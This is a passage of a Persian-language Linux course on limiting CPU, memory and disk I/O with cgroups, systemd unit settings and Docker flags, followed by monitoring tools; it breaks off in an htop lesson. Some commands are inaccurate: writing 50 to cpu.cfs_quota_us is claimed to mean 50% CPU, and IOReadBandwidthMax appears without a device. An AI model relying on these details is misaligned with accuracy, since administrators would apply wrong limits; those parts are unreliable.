برای استفاده از cgroups در لینوکس، معمولاً از فایل سیستم cgroup که به /sys/fs/cgroup متصل است، استفاده می‌شود. در اینجا، نحوه استفاده از cgroups برای محدود کردن منابع مختلف را بررسی خواهیم کرد.


۱. محدود کردن مصرف CPU با cgroups

برای محدود کردن استفاده از CPU برای یک گروه از فرآیندها، ابتدا باید یک کنترل‌کننده CPU ایجاد کنید و سپس منابع را محدود کنید.

مرحله ۱: ایجاد یک cgroup جدید برای محدود کردن مصرف CPU

mkdir /sys/fs/cgroup/cpu/my_group

مرحله ۲: تنظیم محدودیت برای CPU

برای محدود کردن مصرف CPU، از دستور cpu.cfs_quota_us استفاده می‌کنیم که مقدار زمان مجاز برای استفاده از CPU در هر دوره را تنظیم می‌کند.

echo 50000 > /sys/fs/cgroup/cpu/my_group/cpu.cfs_quota_us

این دستور محدودیت را به ۵۰ میلی‌ثانیه در هر دوره ۱۰۰ میلی‌ثانیه برای مصرف CPU اعمال می‌کند.

مرحله ۳: اضافه کردن یک فرآیند به گروه

برای اضافه کردن یک فرآیند به cgroup، از دستور echo استفاده می‌کنیم:

echo <PID> > /sys/fs/cgroup/cpu/my_group/cgroup.procs

جایگزین <PID> با شناسه فرآیند مورد نظر.


۲. محدود کردن مصرف حافظه با cgroups

برای محدود کردن مصرف حافظه توسط یک گروه از فرآیندها، باید از کنترل‌کننده memory استفاده کنیم.

مرحله ۱: ایجاد cgroup جدید برای حافظه

mkdir /sys/fs/cgroup/memory/my_memory_group

مرحله ۲: تنظیم محدودیت حافظه

برای محدود کردن مصرف حافظه، از دستور memory.limit_in_bytes استفاده می‌کنیم.

echo 1000000000 > /sys/fs/cgroup/memory/my_memory_group/memory.limit_in_bytes

این دستور مصرف حافظه را به ۱ گیگابایت محدود می‌کند.

مرحله ۳: اضافه کردن فرآیند به گروه حافظه

echo <PID> > /sys/fs/cgroup/memory/my_memory_group/cgroup.procs

جایگزین <PID> با شناسه فرآیند مورد نظر.


۳. محدود کردن ورودی/خروجی دیسک با cgroups

برای محدود کردن مصرف I/O دیسک، از کنترل‌کننده blkio استفاده می‌کنیم.

مرحله ۱: ایجاد cgroup برای بلوک I/O

mkdir /sys/fs/cgroup/blkio/my_blkio_group

مرحله ۲: تنظیم محدودیت I/O

برای محدود کردن سرعت I/O دیسک، از دستور blkio.throttle.read_bps_device و blkio.throttle.write_bps_device استفاده می‌کنیم.

echo "8:0 1048576" > /sys/fs/cgroup/blkio/my_blkio_group/blkio.throttle.read_bps_device
echo "8:0 1048576" > /sys/fs/cgroup/blkio/my_blkio_group/blkio.throttle.write_bps_device

این دستور سرعت خواندن و نوشتن را به ۱ مگابایت در ثانیه محدود می‌کند.

مرحله ۳: اضافه کردن فرآیند به گروه I/O

echo <PID> > /sys/fs/cgroup/blkio/my_blkio_group/cgroup.procs

۴. استفاده از cgroups در Docker

در Docker، از cgroups برای مدیریت منابع در کانتینرها استفاده می‌شود. شما می‌توانید منابع مختلف مثل CPU، حافظه و دیسک را برای هر کانتینر محدود کنید.

مثال: محدود کردن منابع CPU و حافظه در Docker

docker run -d --name my_container --memory=500m --cpus=0.5 nginx

در این مثال، مقدار حافظه کانتینر به ۵۰۰ مگابایت محدود شده و استفاده از CPU به ۰.۵ هسته محدود می‌شود.


جمع‌بندی

cgroups ابزار بسیار قدرتمندی برای مدیریت و کنترل منابع در سیستم‌های لینوکسی است. با استفاده از cgroups، می‌توان منابع مختلف سیستم را به‌طور دقیق محدود کرده و فرآیندها و گروه‌های فرآیندها را از نظر مصرف منابع کنترل کرد. این ویژگی به مدیران سیستم این امکان را می‌دهد که عملکرد سیستم را بهینه‌سازی کرده و از تاثیرات منفی فرآیندهای غیرضروری یا خرابکارانه جلوگیری کنند. با پیکربندی صحیح و استفاده از دستورات مختلف، می‌توان منابع سیستم را در سطحی دقیق و مؤثر مدیریت کرد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات و استفاده از cgroups برای محدود کردن منابع (CPU، حافظه، I/O)” subtitle=”توضیحات کامل”]cgroups یا Control Groups ابزاری در لینوکس است که به شما این امکان را می‌دهد که منابع سیستم را برای فرآیندها و گروه‌های مختلف فرآیند محدود و مدیریت کنید. این ابزار به طور خاص برای جلوگیری از مصرف بی‌رویه منابع توسط فرآیندهای خاص و بهبود عملکرد سیستم طراحی شده است.

در این قسمت، نحوه پیکربندی و استفاده از cgroups برای محدود کردن منابع CPU، حافظه و I/O در سیستم‌های لینوکسی توضیح داده می‌شود. همچنین، نحوه استفاده از این ابزار برای تخصیص منابع به فرآیندها و گروه‌ها نیز به طور کامل شرح داده می‌شود.


۱. محدود کردن منابع CPU با cgroups

برای محدود کردن مصرف CPU برای فرآیندها یا گروه‌های خاص، از کنترل‌کننده cpu در cgroups استفاده می‌کنیم. این قابلیت اجازه می‌دهد که حداکثر مقدار استفاده از CPU را برای هر گروه از فرآیندها تعیین کنیم.

مرحله ۱: ایجاد یک cgroup برای محدود کردن مصرف CPU

mkdir /sys/fs/cgroup/cpu/my_cpu_group

در این مرحله، یک گروه جدید برای کنترل مصرف CPU به نام my_cpu_group ایجاد می‌شود.

مرحله ۲: تنظیم محدودیت برای استفاده از CPU

برای محدود کردن میزان استفاده از CPU، باید از فایل cpu.cfs_quota_us استفاده کنیم که به‌طور مستقیم تأثیرگذار بر مقدار زمان مجاز مصرف CPU برای هر فرآیند است. به عنوان مثال، برای تنظیم ۵۰ درصد استفاده از CPU برای هر فرآیند، دستور زیر را وارد کنید:

echo 50000 > /sys/fs/cgroup/cpu/my_cpu_group/cpu.cfs_quota_us

این تنظیم به این معنی است که هر فرآیند در این گروه تنها ۵۰ میلی‌ثانیه در هر ۱۰۰ میلی‌ثانیه می‌تواند از CPU استفاده کند.

مرحله ۳: افزودن یک فرآیند به گروه CPU

برای اضافه کردن یک فرآیند به گروه جدید، شناسه فرآیند (PID) آن را به فایل cgroup.procs در گروه مورد نظر اضافه کنید:

echo <PID> > /sys/fs/cgroup/cpu/my_cpu_group/cgroup.procs

جایگزین <PID> با شناسه فرآیند مورد نظر کنید.


۲. محدود کردن منابع حافظه با cgroups

cgroups همچنین برای محدود کردن مصرف حافظه توسط فرآیندها یا گروه‌ها استفاده می‌شود. این ابزار به شما این امکان را می‌دهد که حداکثر مقدار حافظه قابل استفاده توسط فرآیندها را محدود کنید.

مرحله ۱: ایجاد یک cgroup برای محدود کردن مصرف حافظه

mkdir /sys/fs/cgroup/memory/my_memory_group

در این مرحله، یک گروه جدید برای محدود کردن مصرف حافظه به نام my_memory_group ایجاد می‌شود.

مرحله ۲: تنظیم محدودیت حافظه

برای تنظیم محدودیت مصرف حافظه، از فایل memory.limit_in_bytes استفاده می‌کنیم. به عنوان مثال، برای محدود کردن حافظه به ۱ گیگابایت (۱۰۰۰۰۰۰۰۰۰ بایت)، دستور زیر را وارد می‌کنیم:

echo 1000000000 > /sys/fs/cgroup/memory/my_memory_group/memory.limit_in_bytes

این دستور به این معنی است که گروه فرآیندها نمی‌تواند بیشتر از ۱ گیگابایت حافظه استفاده کند.

مرحله ۳: افزودن فرآیند به گروه حافظه

برای افزودن یک فرآیند به گروه حافظه، از دستور زیر استفاده می‌کنیم:

echo <PID> > /sys/fs/cgroup/memory/my_memory_group/cgroup.procs

جایگزین <PID> با شناسه فرآیند مورد نظر کنید.


۳. محدود کردن منابع I/O با cgroups

برای محدود کردن مصرف ورودی/خروجی دیسک (I/O) در سیستم، از کنترل‌کننده blkio استفاده می‌کنیم. این تنظیمات به شما این امکان را می‌دهند که سرعت خواندن و نوشتن دیسک برای گروه‌های خاص از فرآیندها را محدود کنید.

مرحله ۱: ایجاد cgroup برای محدود کردن I/O

mkdir /sys/fs/cgroup/blkio/my_blkio_group

در این مرحله، یک گروه جدید برای محدود کردن I/O به نام my_blkio_group ایجاد می‌شود.

مرحله ۲: تنظیم محدودیت‌های I/O

برای محدود کردن سرعت خواندن و نوشتن دیسک، از دستور blkio.throttle.read_bps_device و blkio.throttle.write_bps_device استفاده می‌کنیم. به عنوان مثال، برای محدود کردن سرعت خواندن و نوشتن دیسک به ۱ مگابایت در ثانیه، دستور زیر را وارد می‌کنیم:

echo "8:0 1048576" > /sys/fs/cgroup/blkio/my_blkio_group/blkio.throttle.read_bps_device
echo "8:0 1048576" > /sys/fs/cgroup/blkio/my_blkio_group/blkio.throttle.write_bps_device

این دستور سرعت خواندن و نوشتن دیسک را به ۱ مگابایت در ثانیه محدود می‌کند.

مرحله ۳: افزودن فرآیند به گروه I/O

برای اضافه کردن فرآیند به گروه I/O، از دستور زیر استفاده می‌کنیم:

echo <PID> > /sys/fs/cgroup/blkio/my_blkio_group/cgroup.procs

جایگزین <PID> با شناسه فرآیند مورد نظر کنید.


۴. استفاده از cgroups در Docker

Docker نیز از cgroups برای محدود کردن منابع در کانتینرها استفاده می‌کند. به این ترتیب، می‌توانید منابع مختلف مانند CPU، حافظه و I/O را برای هر کانتینر محدود کنید.

مثال ۱: محدود کردن مصرف حافظه و CPU در Docker

docker run -d --name my_container --memory=500m --cpus=0.5 nginx

در این مثال، مصرف حافظه کانتینر به ۵۰۰ مگابایت محدود شده و مصرف CPU به ۰.۵ هسته محدود می‌شود.

مثال ۲: محدود کردن مصرف I/O در Docker

برای محدود کردن سرعت I/O دیسک در Docker، از گزینه‌های --blkio-weight یا --device-read-bps و --device-write-bps استفاده می‌کنیم. به عنوان مثال:

docker run -d --name my_container --device-read-bps /dev/sda:1mb --device-write-bps /dev/sda:1mb nginx

این دستور سرعت خواندن و نوشتن دیسک برای کانتینر را به ۱ مگابایت در ثانیه محدود می‌کند.


جمع‌بندی

cgroups ابزاری قدرتمند است که به شما این امکان را می‌دهد که مصرف منابع مختلف سیستم (مثل CPU، حافظه و I/O) را برای فرآیندها و گروه‌های فرآیند کنترل کنید. با استفاده از این ابزار، می‌توانید منابع سیستم را به‌طور دقیق محدود کرده و از تاثیرات منفی فرآیندهای غیرضروری یا خرابکارانه جلوگیری کنید. پیکربندی‌های مختلفی برای هر نوع منبع وجود دارد که به شما اجازه می‌دهد منابع سیستم را به‌طور مؤثر و مطابق با نیازهای خود مدیریت کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تخصیص منابع به سرویس‌ها و فرآیندها” subtitle=”توضیحات کامل”]تخصیص منابع به سرویس‌ها و فرآیندها یکی از اقدامات حیاتی در مدیریت سرورها و سیستم‌های لینوکسی است. این کار به مدیران سیستم این امکان را می‌دهد که از منابع سیستم (مانند CPU، حافظه و I/O) بهینه استفاده کنند و از بروز مشکلاتی مانند کاهش کارایی یا خرابی سیستم جلوگیری کنند. برای انجام این کار از ابزارهایی نظیر cgroups و systemd می‌توان استفاده کرد.

در این بخش، نحوه تخصیص منابع به سرویس‌ها و فرآیندها با استفاده از cgroups و systemd توضیح داده خواهد شد. این تکنیک‌ها به‌طور خاص برای محدود کردن منابع اختصاص یافته به سرویس‌ها و فرآیندها در یک محیط سرور طراحی شده‌اند.


۱. تخصیص منابع با استفاده از cgroups

cgroups ابزاری است که امکان مدیریت و تخصیص منابع سیستم را به گروه‌هایی از فرآیندها می‌دهد. با استفاده از این ابزار می‌توان منابع مختلف مانند CPU، حافظه و I/O را برای فرآیندهای خاص محدود و کنترل کرد.

مرحله ۱: ایجاد گروه cgroup

برای تخصیص منابع، ابتدا باید یک گروه cgroup ایجاد کنید. به‌عنوان مثال، برای ایجاد یک گروه CPU، از دستور زیر استفاده می‌کنیم:

mkdir /sys/fs/cgroup/cpu/my_cgroup

مرحله ۲: محدود کردن منابع CPU

برای تخصیص منابع CPU به گروه، از فایل‌های تنظیمات cpu.cfs_quota_us و cpu.cfs_period_us استفاده می‌کنیم. به عنوان مثال، برای محدود کردن گروه به ۵۰ درصد از CPU، از دستور زیر استفاده می‌کنیم:

echo 50000 > /sys/fs/cgroup/cpu/my_cgroup/cpu.cfs_quota_us
echo 100000 > /sys/fs/cgroup/cpu/my_cgroup/cpu.cfs_period_us

مرحله ۳: تخصیص حافظه

برای محدود کردن استفاده از حافظه برای گروه، از فایل memory.limit_in_bytes استفاده می‌شود:

echo 500M > /sys/fs/cgroup/memory/my_cgroup/memory.limit_in_bytes

مرحله ۴: تخصیص I/O

برای محدود کردن استفاده از منابع I/O، می‌توانید از کنترل‌کننده blkio استفاده کنید. برای محدود کردن سرعت نوشتن دیسک، دستور زیر را وارد کنید:

echo "8:0 1048576" > /sys/fs/cgroup/blkio/my_cgroup/blkio.throttle.write_bps_device

مرحله ۵: افزودن فرآیندها به گروه cgroup

برای افزودن فرآیند به گروه cgroup ایجاد شده، از دستور زیر استفاده می‌کنیم:

echo <PID> > /sys/fs/cgroup/cpu/my_cgroup/cgroup.procs

جایگزین <PID> با شناسه فرآیند مورد نظر کنید.


۲. تخصیص منابع با استفاده از systemd

در سیستم‌های مدرن لینوکس، بسیاری از سرویس‌ها و فرآیندها با استفاده از systemd مدیریت می‌شوند. systemd به‌طور مستقیم از cgroups برای تخصیص منابع استفاده می‌کند و به شما این امکان را می‌دهد که منابع سیستم را به‌طور دقیق و به‌صورت پیکربندی شده تخصیص دهید.

مرحله ۱: پیکربندی فایل Unit برای محدود کردن منابع

برای تخصیص منابع به سرویس‌ها در systemd، باید تنظیمات مناسب را در فایل‌های unit اعمال کنیم. به‌عنوان مثال، برای محدود کردن مصرف حافظه و CPU برای سرویس nginx، فایل واحد (unit file) مربوطه را ویرایش می‌کنیم.

فایل واحد nginx.service را با دستور زیر ویرایش می‌کنیم:

sudo nano /etc/systemd/system/nginx.service

در این فایل، می‌توانید تنظیمات زیر را برای تخصیص منابع اضافه کنید:

[Service]
CPUQuota=50%
MemoryLimit=500M
  • CPUQuota=50%: محدود کردن مصرف CPU به ۵۰ درصد از ظرفیت کلی سیستم.
  • MemoryLimit=500M: محدود کردن مصرف حافظه به ۵۰۰ مگابایت.

مرحله ۲: راه‌اندازی مجدد سرویس systemd

پس از اعمال تغییرات در فایل unit، باید systemd را مجدداً بارگذاری و سرویس را راه‌اندازی کنیم:

sudo systemctl daemon-reload
sudo systemctl restart nginx

۳. تخصیص منابع به فرآیندها با استفاده از Docker

در محیط‌های مبتنی بر کانتینر، Docker از cgroups برای تخصیص منابع به کانتینرها استفاده می‌کند. شما می‌توانید به‌راحتی منابع CPU، حافظه و I/O را برای هر کانتینر محدود کنید.

مرحله ۱: محدود کردن منابع در زمان اجرای کانتینر

برای محدود کردن منابع، از گزینه‌های --memory و --cpus استفاده می‌کنیم. به‌عنوان مثال، برای محدود کردن مصرف حافظه و CPU برای کانتینر nginx به ترتیب به ۵۰۰ مگابایت حافظه و ۰.۵ هسته CPU، از دستور زیر استفاده می‌کنیم:

docker run -d --name my_container --memory=500m --cpus=0.5 nginx

مرحله ۲: محدود کردن منابع I/O در Docker

برای محدود کردن سرعت خواندن و نوشتن دیسک در Docker، از گزینه‌های --device-read-bps و --device-write-bps استفاده می‌کنیم:

docker run -d --name my_container --device-read-bps /dev/sda:1mb --device-write-bps /dev/sda:1mb nginx

این دستور سرعت خواندن و نوشتن دیسک برای کانتینر را به ۱ مگابایت در ثانیه محدود می‌کند.


جمع‌بندی

تخصیص منابع به سرویس‌ها و فرآیندها در سیستم‌های لینوکسی یکی از اصول مهم در مدیریت منابع و بهینه‌سازی عملکرد است. با استفاده از ابزارهایی مانند cgroups و systemd، می‌توان منابع CPU، حافظه و I/O را به‌طور مؤثر برای هر فرآیند و سرویس محدود کرد. این کار باعث می‌شود که سیستم به‌طور پایدارتر عمل کرده و از بروز مشکلات مربوط به مصرف بیش از حد منابع جلوگیری شود.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از systemd برای پیکربندی cgroups” subtitle=”توضیحات کامل”]systemd یکی از قدرتمندترین ابزارها برای مدیریت سرویس‌ها و فرآیندها در سیستم‌های لینوکسی است. این سیستم علاوه بر مدیریت سرویس‌ها، از cgroups برای تخصیص و محدود کردن منابع سیستم به سرویس‌ها و فرآیندها بهره می‌برد. در این بخش، نحوه استفاده از systemd برای پیکربندی و مدیریت cgroups برای محدود کردن منابع سیستم، مانند CPU، حافظه و I/O، توضیح داده خواهد شد.


۱. معرفی سیستم‌های مدیریت منابع در systemd

systemd از cgroups برای تخصیص منابع استفاده می‌کند. هر سرویس که تحت مدیریت systemd قرار دارد، به‌طور خودکار در یک cgroup خاص قرار می‌گیرد. مدیر سیستم می‌تواند از ویژگی‌های systemd برای محدود کردن مصرف منابع مانند CPU، حافظه و I/O استفاده کند. این ویژگی‌ها از طریق فایل‌های واحد (unit files) قابل پیکربندی هستند.


۲. پیکربندی systemd برای استفاده از cgroups

برای محدود کردن منابع یک سرویس خاص با استفاده از systemd، باید تنظیمات لازم را در فایل واحد (unit file) آن سرویس وارد کنیم.

مرحله ۱: پیکربندی CPU با استفاده از systemd

برای محدود کردن مصرف CPU توسط یک سرویس، از گزینه CPUQuota در فایل واحد (unit file) استفاده می‌کنیم. به‌عنوان مثال، برای محدود کردن مصرف CPU سرویس nginx به ۵۰ درصد از ظرفیت سیستم، فایل واحد nginx.service را ویرایش می‌کنیم.

sudo nano /etc/systemd/system/nginx.service

سپس تنظیمات زیر را در بخش [Service] اضافه می‌کنیم:

[Service]
CPUQuota=50%

این دستور سرویس nginx را به گونه‌ای پیکربندی می‌کند که تنها ۵۰ درصد از ظرفیت CPU سیستم را استفاده کند.

مرحله ۲: پیکربندی حافظه با استفاده از systemd

برای محدود کردن مصرف حافظه سرویس، از گزینه MemoryLimit استفاده می‌کنیم. به‌عنوان مثال، برای محدود کردن مصرف حافظه سرویس nginx به ۵۰۰ مگابایت، تنظیمات زیر را در همان فایل واحد اضافه می‌کنیم:

[Service]
MemoryLimit=500M

این دستور محدودیت حافظه برای سرویس nginx را به ۵۰۰ مگابایت تنظیم می‌کند.

مرحله ۳: پیکربندی I/O با استفاده از systemd

برای محدود کردن سرعت I/O، از گزینه‌های مختلف مانند BlockIOWeight یا IOReadBandwidthMax و IOWriteBandwidthMax استفاده می‌کنیم. به‌عنوان مثال، برای محدود کردن سرعت نوشتن دیسک به ۱ مگابایت در ثانیه، دستور زیر را به فایل واحد اضافه می‌کنیم:

[Service]
BlockIOWeight=500

یا برای کنترل دقیق‌تر سرعت نوشتن دیسک:

[Service]
IOReadBandwidthMax=1048576
IOWriteBandwidthMax=1048576

این دستورات سرعت خواندن و نوشتن دیسک را برای سرویس nginx به ۱ مگابایت در ثانیه محدود می‌کند.


۳. ایجاد فایل‌های واحد برای تخصیص منابع

برای ایجاد و پیکربندی فایل واحد جدید، می‌توانید یک فایل واحد جدید برای هر سرویس ایجاد کنید. به‌عنوان مثال، برای ایجاد یک سرویس جدید به نام my_service که منابع آن محدود شده است، ابتدا فایل واحد را ایجاد می‌کنیم:

sudo nano /etc/systemd/system/my_service.service

سپس تنظیمات مورد نظر را برای محدود کردن منابع به صورت زیر وارد می‌کنیم:

[Unit]
Description=My Custom Service

[Service]
ExecStart=/usr/bin/my_program
CPUQuota=25%
MemoryLimit=200M
IOReadBandwidthMax=1048576
IOWriteBandwidthMax=1048576

[Install]
WantedBy=multi-user.target

این فایل واحد جدید سرویس my_service را به‌گونه‌ای پیکربندی می‌کند که:

  • از ۲۵٪ از ظرفیت CPU استفاده کند.
  • مصرف حافظه را به ۲۰۰ مگابایت محدود کند.
  • سرعت خواندن و نوشتن دیسک را به ۱ مگابایت در ثانیه محدود کند.

۴. اعمال تغییرات و بارگذاری مجدد systemd

پس از ویرایش فایل واحد، برای اعمال تغییرات باید systemd را مجدداً بارگذاری کرده و سرویس را راه‌اندازی کنیم.

برای بارگذاری مجدد systemd:

sudo systemctl daemon-reload

برای راه‌اندازی مجدد سرویس:

sudo systemctl restart my_service

و برای فعال‌سازی سرویس در هنگام بوت سیستم:

sudo systemctl enable my_service

جمع‌بندی

در این بخش، توضیح داده شد که چگونه می‌توان از systemd برای پیکربندی cgroups استفاده کرد و منابع سیستم را برای سرویس‌ها محدود کرد. با استفاده از تنظیمات موجود در فایل‌های واحد (unit files)، می‌توان مصرف CPU، حافظه و I/O را به‌طور مؤثر مدیریت کرد. این روش باعث می‌شود که سرویس‌ها به صورت بهینه‌تری از منابع سیستم استفاده کرده و عملکرد کلی سیستم بهبود یابد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ابزارهای مانیتورینگ و کنترل منابع در cgroups” subtitle=”توضیحات کامل”]در این بخش، ابزارهایی برای مانیتورینگ و کنترل منابع در cgroups بررسی می‌شوند. cgroups به مدیران سیستم این امکان را می‌دهند که مصرف منابع سیستم را برای فرآیندها و سرویس‌ها مدیریت کنند. با استفاده از ابزارهای مختلف، می‌توانیم به راحتی وضعیت مصرف منابع توسط CPU، حافظه، I/O و دیگر منابع را مشاهده و کنترل کنیم.


۱. ابزار cgexec برای اجرای فرآیندها در cgroups

ابزار cgexec به شما اجازه می‌دهد که یک فرآیند را در یک cgroup خاص اجرا کنید. این ابزار به‌طور مستقیم به شما این امکان را می‌دهد که فرآیندهایی را در cgroup تعریف‌شده محدود کنید.

نحوه استفاده از cgexec:

برای استفاده از cgexec، ابتدا باید یک cgroup را ایجاد کنید. به‌عنوان مثال، برای ایجاد یک cgroup به نام mygroup برای محدود کردن مصرف CPU به ۵۰ درصد، می‌توانید از دستورات زیر استفاده کنید:

  1. ابتدا cgroup را ایجاد کنید:
sudo cgcreate -g cpu:/mygroup
  1. سپس مقدار CPUQuota را تنظیم کنید:
echo 50 > /sys/fs/cgroup/cpu/mygroup/cpu.cfs_quota_us
  1. برای اجرای یک فرآیند در این cgroup، از دستور cgexec استفاده می‌کنید. به‌عنوان مثال، برای اجرای یک برنامه به نام my_program:
sudo cgexec -g cpu:mygroup /usr/bin/my_program

این دستور برنامه my_program را در cgroup mygroup اجرا کرده و آن را به ۵۰ درصد از ظرفیت CPU محدود می‌کند.


۲. ابزار cgtop برای مانیتورینگ منابع cgroups

ابزار cgtop به شما این امکان را می‌دهد که استفاده از منابع در cgroups مختلف را به‌طور بلادرنگ مشاهده کنید. این ابزار مشابه با ابزار top است که برای نمایش مصرف منابع سیستم استفاده می‌شود، اما تمرکز آن بر روی cgroups است.

نحوه استفاده از cgtop:

برای مشاهده وضعیت مصرف منابع در cgroups مختلف، دستور زیر را اجرا کنید:

sudo cgtop

این ابزار به‌طور پیش‌فرض وضعیت مصرف CPU، حافظه و I/O را در cgroups مختلف نمایش می‌دهد. شما می‌توانید از کلیدهای جهت‌دار برای تغییر نمای نمایش و تنظیمات دیگر استفاده کنید.


۳. ابزار systemd-cgtop برای مانیتورینگ منابع تحت systemd

systemd-cgtop ابزاری مشابه cgtop است که به طور خاص برای systemd طراحی شده است و به شما امکان می‌دهد که مصرف منابع توسط سرویس‌های مدیریت‌شده با systemd را مشاهده کنید.

نحوه استفاده از systemd-cgtop:

برای مشاهده وضعیت مصرف منابع توسط سرویس‌های مختلف تحت systemd، از دستور زیر استفاده کنید:

sudo systemd-cgtop

این ابزار به‌طور پیش‌فرض، اطلاعاتی در مورد مصرف منابع از جمله CPU، حافظه و I/O را برای هر واحد (unit) در systemd نمایش می‌دهد. شما می‌توانید از کلیدهای جهت‌دار برای فیلتر کردن نتایج بر اساس نیاز خود استفاده کنید.


۴. ابزار lscgroup برای مشاهده وضعیت cgroups

ابزار lscgroup یک ابزار ساده است که برای مشاهده وضعیت و ساختار cgroups استفاده می‌شود. با استفاده از این ابزار می‌توان دید که کدام cgroupها در سیستم وجود دارند و چه میزان منابع مصرف می‌کنند.

نحوه استفاده از lscgroup:

برای مشاهده وضعیت cgroups موجود، دستور زیر را اجرا کنید:

sudo lscgroup

این دستور تمام cgroupهای موجود در سیستم را نمایش می‌دهد، به همراه نوع منابع (CPU، حافظه، I/O و غیره) که توسط هر cgroup محدود شده‌اند.


۵. ابزار cat برای مشاهده تنظیمات cgroups

برای مشاهده تنظیمات دقیق cgroups و مقادیر محدودکننده آن‌ها، می‌توان از دستور cat برای مشاهده فایل‌های مختلف cgroup استفاده کرد. به‌عنوان مثال، برای مشاهده تنظیمات CPU یک cgroup خاص به نام mygroup:

cat /sys/fs/cgroup/cpu/mygroup/cpu.cfs_quota_us

این دستور مقدار محدودیت CPU (بر حسب میکروثانیه) برای cgroup mygroup را نمایش می‌دهد.

برای مشاهده تنظیمات حافظه برای همان cgroup، از دستور زیر استفاده کنید:

cat /sys/fs/cgroup/memory/mygroup/memory.limit_in_bytes

این دستور مقدار محدودیت حافظه برای cgroup mygroup را بر حسب بایت نمایش می‌دهد.


۶. ابزار docker برای مدیریت cgroups در کانتینرها

Docker به‌طور پیش‌فرض از cgroups برای محدود کردن منابع در کانتینرها استفاده می‌کند. برای مشاهده و تنظیم منابع کانتینرها، می‌توان از دستورات docker بهره برد.

برای مشاهده محدودیت‌های منابع برای یک کانتینر خاص، از دستور زیر استفاده کنید:

docker inspect --format '{{.HostConfig.CpuQuota}}' <container_name>

این دستور مقدار محدودیت CPU را برای کانتینر مشخص‌شده نمایش می‌دهد.

برای تنظیم محدودیت‌های منابع برای یک کانتینر در حین ایجاد آن، از گزینه‌های --memory, --cpu-shares و --cpus استفاده می‌کنید. به‌عنوان مثال:

docker run -d --name my_container --memory="500m" --cpu-shares=512 --cpus="1.0" my_image

این دستور یک کانتینر را با محدودیت حافظه ۵۰۰ مگابایت، اولویت CPU برابر با ۵۱۲ و استفاده از ۱ هسته CPU ایجاد می‌کند.


جمع‌بندی

در این بخش، ابزارهای مختلف برای مانیتورینگ و کنترل منابع در cgroups معرفی شدند. با استفاده از ابزارهایی مانند cgexec، cgtop، systemd-cgtop و lscgroup می‌توان منابع سیستم را در cgroups مختلف مشاهده و کنترل کرد. همچنین با استفاده از دستورات ساده می‌توان به راحتی تنظیمات مختلف cgroup را مشاهده و تغییر داد. این ابزارها به مدیران سیستم این امکان را می‌دهند که مصرف منابع را در سطح دقیق‌تری کنترل کرده و عملکرد سیستم را بهینه کنند.[/cdb_course_lesson][cdb_course_lesson title=”فصل 3. عیب‌یابی فرآیندها”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”ابزارهای بررسی فرآیندها: ps, top, htop” subtitle=”توضیحات کامل”]در این بخش، به بررسی ابزارهای مختلفی می‌پردازیم که برای بررسی وضعیت و مدیریت فرآیندها در سیستم‌های لینوکسی مورد استفاده قرار می‌گیرند. این ابزارها به مدیران سیستم کمک می‌کنند تا اطلاعات دقیقی از وضعیت فرآیندهای در حال اجرا به دست آورده و در صورت لزوم، آن‌ها را کنترل کنند. ابزارهایی همچون ps، top و htop برای این منظور در سیستم‌های لینوکسی بسیار رایج هستند و هرکدام ویژگی‌های خاص خود را دارند.


۱. ابزار ps (Process Status)

ابزار ps یکی از پرکاربردترین ابزارهای لینوکس است که برای مشاهده وضعیت فرآیندها در سیستم استفاده می‌شود. این ابزار اطلاعاتی از قبیل شناسه فرآیند (PID)، وضعیت، میزان استفاده از منابع و سایر ویژگی‌های مرتبط با فرآیندها را ارائه می‌دهد. با استفاده از گزینه‌ها و آرگومان‌های مختلف می‌توان خروجی آن را به دلخواه شخصی‌سازی کرد.

نحوه استفاده از ps:

برای مشاهده فرآیندهای در حال اجرا، از دستور ساده زیر استفاده کنید:

ps

این دستور فقط فرآیندهایی که متعلق به کاربر جاری هستند را نمایش می‌دهد.

برای مشاهده تمام فرآیندهای سیستم، دستور زیر را وارد کنید:

ps -e

اگر بخواهید اطلاعات بیشتری از هر فرآیند، مانند میزان استفاده از حافظه، زمان اجرا و وضعیت پردازنده را مشاهده کنید، می‌توانید از دستور زیر استفاده کنید:

ps aux

در این دستور:

  • a: نمایش تمام فرآیندها (حتی آن‌هایی که متعلق به سایر کاربران هستند)
  • u: نمایش اطلاعات در فرمت خوانا برای انسان
  • x: نمایش فرآیندهای بدون ترمینال (مانند سرویس‌ها)

۲. ابزار top

ابزار top یکی از ابزارهای بسیار مفید برای مانیتورینگ لحظه‌ای فرآیندها و منابع سیستم است. این ابزار به‌طور بلادرنگ، وضعیت مصرف منابع مانند CPU، حافظه، I/O و swap را برای هر فرآیند نمایش می‌دهد و امکان مشاهده تغییرات آن‌ها به صورت پویا را فراهم می‌کند. top به شما اجازه می‌دهد که فرآیندهای در حال اجرا را فیلتر کرده و به ترتیب مختلف مرتب کنید.

نحوه استفاده از top:

برای اجرای top، کافی است دستور زیر را در ترمینال وارد کنید:

top

این دستور به‌طور پیش‌فرض وضعیت مصرف CPU، حافظه، زمان اجرا، PID و دیگر ویژگی‌های فرآیندها را به نمایش می‌گذارد.

برای مرتب‌سازی فرآیندها بر اساس CPU، کافی است در حین اجرای top کلید P را فشار دهید.

برای مرتب‌سازی فرآیندها بر اساس حافظه، کلید M را فشار دهید.

در صورتی که بخواهید فرآیند خاصی را پیدا کنید، می‌توانید از کلید f برای تنظیمات بیشتر فیلتر استفاده کنید.

همچنین برای خروج از برنامه top، کلید q را فشار دهید.


۳. ابزار htop

ابزار htop یک نسخه گرافیکی و پیشرفته‌تر از ابزار top است. این ابزار نمایش بهتری از وضعیت سیستم را به شما می‌دهد و همچنین قابلیت تعامل بیشتری دارد. htop می‌تواند به‌طور گرافیکی منابع سیستم مانند CPU، حافظه و swap را نمایش دهد و همچنین به شما این امکان را می‌دهد که فرآیندها را به‌راحتی مدیریت کنید.

نحوه استفاده از htop:

برای استفاده از htop، ابتدا باید آن را نصب کنید (در صورتی که در سیستم شما نصب نباشد):

برای نصب htop در سیستم‌های مبتنی بر دبیان و اوبونتو، از دستور زیر استفاده کنید:

